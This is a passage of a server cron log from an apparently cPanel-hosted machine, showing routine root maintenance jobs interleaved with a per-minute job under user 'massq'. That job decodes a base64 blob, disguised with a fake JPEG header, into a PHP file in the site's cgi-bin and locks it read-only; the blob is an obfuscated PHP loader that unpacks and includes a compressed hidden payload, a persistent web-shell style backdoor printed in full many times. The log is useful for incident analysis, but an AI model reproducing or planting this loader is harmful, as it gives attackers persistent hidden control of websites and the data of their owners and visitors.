"$fp")
Aug 31 13:01:01 server run-parts(/etc/cron.hourly)[1193]: starting 0anacron
Aug 31 13:01:01 server run-parts(/etc/cron.hourly)[1222]: finished 0anacron
Aug 31 13:02:01 server CROND[1701]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 13:02:01 server CROND[1702]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:02:01 server CROND[1703]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:03:01 server CROND[2215]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 13:03:01 server CROND[2216]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:03:01 server CROND[2217]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:04:01 server CROND[2658]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:04:01 server CROND[2660]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 13:04:01 server CROND[2661]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:05:01 server CROND[3149]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 13:05:01 server CROND[3151]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 13:05:01 server CROND[3152]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:05:01 server CROND[3157]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 13:05:01 server CROND[3154]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 13:05:01 server CROND[3156]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 13:05:01 server CROND[3159]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 13:05:01 server CROND[3155]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:06:01 server CROND[3989]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 13:06:01 server CROND[3990]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:06:01 server CROND[3991]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:07:01 server CROND[4371]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:07:01 server CROND[4372]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:07:01 server CROND[4374]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 13:08:01 server CROND[4876]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:08:01 server CROND[4878]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:08:01 server CROND[4877]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 13:09:01 server CROND[5315]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:09:01 server CROND[5318]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:09:01 server CROND[5317]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 13:09:01 server CROND[5316]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 13:10:01 server CROND[5705]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 13:10:01 server CROND[5708]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:10:01 server CROND[5710]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 13:10:01 server CROND[5711]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 13:10:01 server CROND[5709]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 13:10:01 server CROND[5714]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:10:01 server CROND[5717]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 13:10:01 server CROND[5716]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 13:11:01 server CROND[6540]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:11:01 server CROND[6542]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 13:11:01 server CROND[6543]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:12:01 server CROND[6915]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:12:01 server CROND[6916]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 13:12:01 server CROND[6918]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 13:12:01 server CROND[6920]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:13:01 server CROND[7452]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:13:01 server CROND[7454]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:13:01 server CROND[7453]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 13:14:01 server CROND[7832]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:14:01 server CROND[7833]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
